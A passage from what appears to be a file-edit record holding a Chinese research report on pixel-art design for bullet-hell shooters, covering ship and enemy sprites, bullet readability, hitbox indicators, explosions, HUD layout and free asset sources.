"add", "content": "### 5.1 itch.io 免费/付费像素弹幕素材", "new_no": 192}, {"type": "add", "content": "", "new_no": 193}, {"type": "add", "content": "| 资源 | 内容 | 链接 |", "new_no": 194}, {"type": "add", "content": "|---|---|---|", "new_no": 195}, {"type": "add", "content": "| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |", "new_no": 196}, {"type": "add", "content": "| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |", "new_no": 197}, {"type": "add", "content": "| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |", "new_no": 198}, {"type": "add", "content": "| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |", "new_no": 199}, {"type": "add", "content": "| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |", "new_no": 200}, {"type": "add", "content": "| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |", "new_no": 201}, {"type": "add", "content": "", "new_no": 202}, {"type": "add", "content": "### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)", "new_no": 203}, {"type": "add", "content": "", "new_no": 204}, {"type": "add", "content": "- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art", "new_no": 205}, {"type": "add", "content": "- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020", "new_no": 206}, {"type": "add", "content": "- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art", "new_no": 207}, {"type": "add", "content": "- **shmup 合集页**:https://opengameart.org/content/shmup", "new_no": 208}, {"type": "add", "content": "", "new_no": 209}, {"type": "add", "content": "### 5.3 经典 STG 精灵分析与弹幕设计参考", "new_no": 210}, {"type": "add", "content": "", "new_no": 211}, {"type": "add", "content": "- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox", "new_no": 212}, {"type": "add", "content": "- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets", "new_no": 213}, {"type": "add", "content": "- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon", "new_no": 214}, {"type": "add", "content": "- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html", "new_no": 215}, {"type": "add", "content": "- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101", "new_no": 216}, {"type": "add", "content": "- **Shmups Wiki 主站**:https://shmups.wiki", "new_no": 217}, {"type": "add", "content": "- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups", "new_no": 218}, {"type": "add", "content": "- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup", "new_no": 219}, {"type": "add", "content": "- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo", "new_no": 220}, {"type": "add", "content": "", "new_no": 221}, {"type": "add", "content": "### 5.4 像素艺术风格指南(教程/博客)", "new_no": 222}, {"type": "add", "content": "", "new_no": 223}, {"type": "add", "content": "- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design", "new_no": 224}, {"type": "add", "content": "- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2", "new_no": 225}, {"type": "add", "content": "- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions", "new_no": 226}, {"type": "add", "content": "- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles", "new_no": 227}, {"type": "add", "content": "- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)", "new_no": 228}, {"type": "add", "content": "- Piskel(免费在线像素编辑器):https://www.piskelapp.com", "new_no": 229}, {"type": "add", "content": "", "new_no": 230}, {"type": "add", "content": "### 5.5 建议搜索关键词(继续深挖用)", "new_no": 231}, {"type": "add", "content": "", "new_no": 232}, {"type": "add", "content": "`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`", "new_no": 233}, {"type": "add", "content": "", "new_no": 234}, {"type": "add", "content": "---", "new_no": 235}, {"type": "add", "content": "", "new_no": 236}, {"type": "add", "content": "## 6. 给本项目落地落实的美术规范建议(可直接执行)", "new_no": 237}, {"type": "add", "content": "", "new_no": 238}, {"type": "add", "content": "1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。", "new_no": 239}, {"type": "add", "content": "2. **色板分工(建议)**:", "new_no": 240}, {"type": "add", "content": " - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;", "new_no": 241}, {"type": "add", "content": " - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;", "new_no": 242}, {"type": "add", "content": " - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);", "new_no": 243}, {"type": "add", "content": " - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;", "new_no": 244}, {"type": "add", "content": " - 爆炸:白→橙红黄→灰;", "new_no": 245}, {"type": "add", "content": " - 预警:蓄力时变亮/变红,激光先亮细线。", "new_no": 246}, {"type": "add", "content": "3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。", "new_no": 247}, {"type": "add", "content": "4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。", "new_no": 248}, {"type": "add", "content": "5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。", "new_no": 249}, {"type": "add", "content": "6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。", "new_no": 250}, {"type": "add", "content": "", "new_no": 251}, {"type": "add", "content": "---", "new_no": 252}, {"type": "add", "content": "", "new_no": 253}, {"type": "add", "content": "## 7. 信息来源与可信度说明", "new_no": 254}, {"type": "add", "content": "", "new_no": 255}, {"type": "add", "content": "- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。", "new_no": 256}, {"type": "add", "content": "- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。", "new_no": 257}, {"type": "add", "content": "- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。", "new_no": 258}, {"type": "add", "content": "- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。", "new_no": 259}], "truncated": false, "current_text": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | 